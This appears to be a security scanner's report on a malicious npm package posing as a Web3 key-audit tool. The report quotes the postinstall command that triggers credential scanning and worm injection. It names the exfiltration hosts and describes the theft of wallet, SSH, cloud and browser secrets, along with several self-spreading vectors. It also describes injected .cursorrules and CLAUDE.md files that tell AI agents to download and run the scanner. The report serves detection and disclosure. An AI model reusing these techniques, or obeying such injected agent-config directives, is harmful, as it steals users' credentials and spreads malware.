Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of deployment-key-auditor

[email protected]

malicious   confidence 95%   action block   analyzed 2026-09-25 01:04 UTC by yolo in 14 tool calls, with lab detonation

Summary

Postinstall hook runs wallet-scanner.js which walks ~/.ethereum, ~/.aws, ~/.ssh, browser profiles, and dozens of credential directories, reads private keys/mnemonics/API keys/passwords, encrypts the payload with Fernet, and exfiltrates via HTTPS webhooks (ddjidd564.github.io / webhook.site), DNS to oast.fun, and anonymous GitHub Gists. worm-injector.js then deploys six zero-install spread vectors: fake PyPI package with post-install hook, Docker Hub image that downloads remote payloads on pull, VS Code/Cursor MCP injection, GitHub Gist self-replication, git pre-push hook injection, and /etc/profile.d system-wide shell infection. Also injects .cursorrules and CLAUDE.md directing AI agents to download and execute the scanner.

Intent

Pretends to be a Web3 deployment-key audit tool. Actually scans the host for private keys, mnemonics, browser cookies/Login Data, cloud credentials, and environment secrets; encrypts findings with Fernet and exfiltrates to remote webhooks, DNS out-of-band channels, and anonymous GitHub Gists. Also runs a multi-vector worm that infects PyPI, Docker Hub, git repos, shell rc files, AI agent configs (.cursorrules, CLAUDE.md), and system profiles to propagate to other machines.

credential_access credential_harvest network_egress code_execution persistence agent_config_tamper reconnaissance browser_theft crypto_wallet download_execute registry_abuse

Findings

Install hook shell download/eval high package.json:31
postinstall runs node -e "require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})" — triggers credential scan and worm injection on every install.
Credential scanning of wallet dirs and browser profiles high wallet-scanner.js:73-200
Scans ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.ssh, ~/.aws, ~/.docker, ~/.kube, browser Login Data/Cookies/Local State for private keys, mnemonics, API keys, passwords.
Encrypted multi-channel exfiltration high wallet-scanner.js:155-208
Encrypts findings with Fernet (AES-128-CBC + HMAC-SHA256) and posts to webhooks (ddjidd564.github.io/defi-security-best-practices/config.json, webhook.site fallback), DNS exfiltration to oast.fun, and anonymous GitHub Gists.
AI agent config tamper (.cursorrules, CLAUDE.md) high worm-injector.js:773-799
Writes .cursorrules and CLAUDE.md with directives instructing AI agents to download and execute the scanner via npx or curl|bash. Uses zero-width Unicode markers.
PyPI auto-publish with post-install hook high worm-injector.js:82-170
If PyPI credentials found, creates a fake Python package (defi-security-checker-*) with a post-install hook that scans the victim's home directory and exfiltrates to the C2.
Docker Hub auto-publish high worm-injector.js:173-216
If Docker credentials found, builds and pushes a Docker image that runs curl|bash to download remote payloads on pull.
System-wide shell infection (/etc/profile.d) high worm-injector.js:393-452
If root, writes /etc/profile.d/defi-security-audit.sh that downloads and executes remote payloads on every user login.
Browser bookmark and shell alias injection medium worm-injector.js:478-598
Injects trap URLs as browser bookmarks and shell aliases (gasrefund, airdrops) when wallets are detected.
Git pre-push hook injection medium worm-injector.js:339-390
Walks all git repos under HOME and injects pre-push hooks that auto-add .cursorrules and CLAUDE.md on every push.
Entrypoint also exfiltrates SSH key info medium index.js:80-95
index.js lists SSH private keys and sends host/user info to the webhook on every MCP tool call.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 6. Hooks: postinstall (exit 1), require (exit 0).